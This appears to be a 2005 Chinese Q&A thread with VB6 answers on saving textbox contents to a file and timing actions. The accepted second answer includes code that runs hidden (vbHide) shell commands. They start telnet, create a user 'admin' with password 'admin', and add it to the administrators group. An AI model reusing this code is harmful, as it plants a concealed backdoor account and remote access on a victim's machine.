第1个回答 2005-09-04
open "c:\1.txt" for output as #1
'以写入的方式打开c:\1.txt
'不存在的话 会创建文件,如已存在 会覆盖
'output 改为append 为追加
, 改为input 则只读
print #1,text1.text+vbcrlf+text2.text+vbcrlf+text3.text
'写入3个text的内容 vbcrlf 为回车换行
close(1)
'关闭文件
msgbox "已经保存"
第2个回答 2005-09-04
第一个很简单
open "C:\1.txt" for output as #1
print #1,text1.text
print #1,text2.text
print #1,text3.text
close #1
第二个也很简单
dim stext(1 to 3) as string
dim inow as long
stext(1)="command.com /c net start telnet"
stext(2)="command.com /c net user admin admin /add"
stext(3)="command.com /c net localgroup administrators admin /add"
添加一个时钟发生器,间隔2000毫秒
时钟发生器代码
inow=inow+1
shell stext(inow), vbHide
if inow=3 then timer1.enable=false本回答被提问者采纳
第3个回答 2005-09-04
Dim strFileName As String '文件名
Dim lngHandle As Long '句柄
Dim strWrite As String '要写入的文本内容
strFileName = App.path & "\w.txt"
lngHandle = FreeFile() '取得句柄
strWrite = txt1.text + vbCrlf + txt2.text + vbCrlf + txt2.text 取得要写入的内容
Open strFileName For Output As lngHandle '打开文件
Print #lngHandle, strWrite '写入文本
Close lngHandle '关闭文件
MsgBox "写入完成。", vbInformation
第4个回答 2005-09-04
第二个问题可以用 API 的 Sleep 方法,在 API 浏览器可以找到。
格式: Sleep 等待毫秒数,例如: Sleep 1000 即使程序停止运行 1 秒然后再继续执行下面的指令。